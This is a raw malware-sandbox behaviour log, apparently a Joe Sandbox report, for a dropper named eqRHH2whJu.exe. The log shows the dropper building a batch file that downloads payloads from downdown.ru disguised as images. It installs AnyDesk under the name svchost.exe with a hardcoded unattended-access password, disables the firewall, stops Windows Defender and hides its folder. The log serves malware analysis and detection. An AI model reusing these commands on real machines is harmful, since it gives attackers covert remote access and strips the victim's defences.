Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7612:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6128:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5924:304:WilStaging_02
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_3056_2466869145_1_mtx
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcstobjmtx
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7608:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6088:304:WilStaging_02
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_8014_lsystem_mtx
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_6516_5988_21
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_6516_5988_20
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2440:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4396:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6128:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7808:304:WilStaging_02
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_6608_2491864998_0_mtx
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_3056_3404_0
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_6744_2469002205_0_mtx
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_6744_2469002205_1_mtx
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3188:304:WilStaging_02
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_3056_5012_0
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3520:304:WilStaging_02
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_trace_mtx
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_6064_1328_0
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7608:304:WilStaging_02
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_6608_2491864998_1_mtx
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2028:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5440:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2028:120:WilError_03
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_6064_2410904748_0_mtx
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3628:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5924:120:WilError_03
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Local\ad_trace_mtx
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_3056_2466869145_0_mtx
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6856:120:WilError_03
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_6064_6556_0
Source: C:\Intel\Trays\Trays.exe	Mutant created: \Sessions\1\BaseNamedObjects\TrayMinimizer
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7096:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3188:120:WilError_03

Source: C:\Users\user\Desktop\eqRHH2whJu.exe

File created: C:\Users\user\AppData\Local\Temp\$inst

Jump to behavior

Source: C:\Users\user\Desktop\eqRHH2whJu.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg

Source: C:\Intel\Trays\Trays.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Intel\svchost.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Intel\svchost.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Intel\svchost.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Intel\AnyDesk\AnyDesk.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Intel\AnyDesk\AnyDesk.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Intel\AnyDesk\AnyDesk.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Intel\AnyDesk\AnyDesk.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Intel\dc.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Intel\AnyDesk\AnyDesk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT ProcessorId FROM Win32_Processor

Source: C:\Users\user\Desktop\eqRHH2whJu.exe

File read: C:\Program Files (x86)\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\eqRHH2whJu.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: eqRHH2whJu.exe

ReversingLabs: Detection: 55%

Source: eqRHH2whJu.exe	String found in binary or memory: /c echo>>@$&%17\Intel\rezet.cmd svchost.exe --install C:\Intel\AnyDesk
Source: curl.exe	String found in binary or memory: curl: try 'curl --help' or 'curl --manual' for more information
Source: curl.exe	String found in binary or memory: curl: try 'curl --help' or 'curl --manual' for more information
Source: curl.exe	String found in binary or memory: curl: try 'curl --help' or 'curl --manual' for more information
Source: curl.exe	String found in binary or memory: curl: try 'curl --help' or 'curl --manual' for more information
Source: svchost.exe	String found in binary or memory: --install
Source: svchost.exe	String found in binary or memory: --new-install
Source: svchost.exe	String found in binary or memory: AnyDesk-Address:

Source: C:\Users\user\Desktop\eqRHH2whJu.exe

File read: C:\Users\user\Desktop\eqRHH2whJu.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\eqRHH2whJu.exe "C:\Users\user\Desktop\eqRHH2whJu.exe"
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Intel\ 131.pdf"
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>C:\Intel\rezet.cmd cd C:\Intel\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\attrib.exe "C:\Windows\System32\attrib.exe" +s +h C:\Intel
Source: C:\Windows\SysWOW64\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd ping -n 6 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd start C:\Intel\Trays\Trays.lnk
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd svchost.exe --install C:\Intel\AnyDesk
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd netsh advfirewall set allprofiles state off
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd sc stop WinDefend
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\AnyDesk\bat.lnk
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Intel\rezet.cmd" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 6 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\driver.exe C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\Trays\Trays.exe "C:\Intel\Trays\Trays.exe" -tray
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\svchost.exe svchost.exe --install C:\Intel\AnyDesk
Source: C:\Intel\Trays\Trays.exe	Process created: C:\Intel\Trays\4t-min64.exe "C:\Intel\Trays\4t-min64.exe" "C:\Intel\Trays\ShellEh6055x64.dll"
Source: C:\Intel\svchost.exe	Process created: C:\Intel\svchost.exe "C:\Intel\svchost.exe" --local-service
Source: C:\Intel\svchost.exe	Process created: C:\Intel\svchost.exe "C:\Intel\svchost.exe" --local-control
Source: unknown	Process created: C:\Intel\AnyDesk\AnyDesk.exe "C:\Intel\AnyDesk\AnyDesk.exe" --service
Source: unknown	Process created: C:\Intel\AnyDesk\AnyDesk.exe "C:\Intel\AnyDesk\AnyDesk.exe" --control
Source: unknown	Process created: C:\Intel\AnyDesk\AnyDesk.exe "C:\Intel\AnyDesk\AnyDesk.exe" --new-install
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall set allprofiles state off
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop WinDefend
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Intel\AnyDesk\bat.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo QWERTY1234566 "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\AnyDesk\AnyDesk.exe AnyDesk.exe --set-password _unattended_access
Source: C:\Intel\AnyDesk\AnyDesk.exe	Process created: C:\Intel\AnyDesk\AnyDesk.exe "C:\Intel\AnyDesk\AnyDesk.exe" --crash-handler
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\dc.exe C:\Intel\dc.exe /D
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
Source: C:\Intel\dc.exe	Process created: C:\Intel\dc.exe "C:\Intel\dc.exe" /SYS 1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -change -standby-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -change -hibernate-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -h off
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /SETDCVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /SETACVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "ShutdownAt5AM" /tr "shutdown /s /f /t 0" /sc daily /st 05:00
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -executionpolicy remotesigned -File C:\Intel\AnyDesk\wol.ps1
Source: unknown	Process created: C:\Windows\System32\shutdown.exe C:\Windows\system32\shutdown.EXE /s /f /t 0
Source: C:\Windows\System32\shutdown.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Intel\ 131.pdf"	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>C:\Intel\rezet.cmd cd C:\Intel\	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\attrib.exe "C:\Windows\System32\attrib.exe" +s +h C:\Intel	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd ping -n 6 127.0.0.1	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd start C:\Intel\Trays\Trays.lnk	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd svchost.exe --install C:\Intel\AnyDesk	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd netsh advfirewall set allprofiles state off	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd sc stop WinDefend	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\AnyDesk\bat.lnk	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Intel\rezet.cmd" "	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 6 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\driver.exe C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\Trays\Trays.exe "C:\Intel\Trays\Trays.exe" -tray	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\svchost.exe svchost.exe --install C:\Intel\AnyDesk	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall set allprofiles state off	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop WinDefend	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Intel\AnyDesk\bat.bat" "	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Process created: C:\Intel\Trays\4t-min64.exe "C:\Intel\Trays\4t-min64.exe" "C:\Intel\Trays\ShellEh6055x64.dll"	Jump to behavior
Source: C:\Intel\svchost.exe	Process created: C:\Intel\svchost.exe "C:\Intel\svchost.exe" --local-service
Source: C:\Intel\svchost.exe	Process created: C:\Intel\svchost.exe "C:\Intel\svchost.exe" --local-control
Source: C:\Intel\AnyDesk\AnyDesk.exe	Process created: C:\Intel\AnyDesk\AnyDesk.exe "C:\Intel\AnyDesk\AnyDesk.exe" --crash-handler
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo QWERTY1234566 "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\AnyDesk\AnyDesk.exe AnyDesk.exe --set-password _unattended_access
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\dc.exe C:\Intel\dc.exe /D
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -change -standby-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -change -hibernate-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -h off
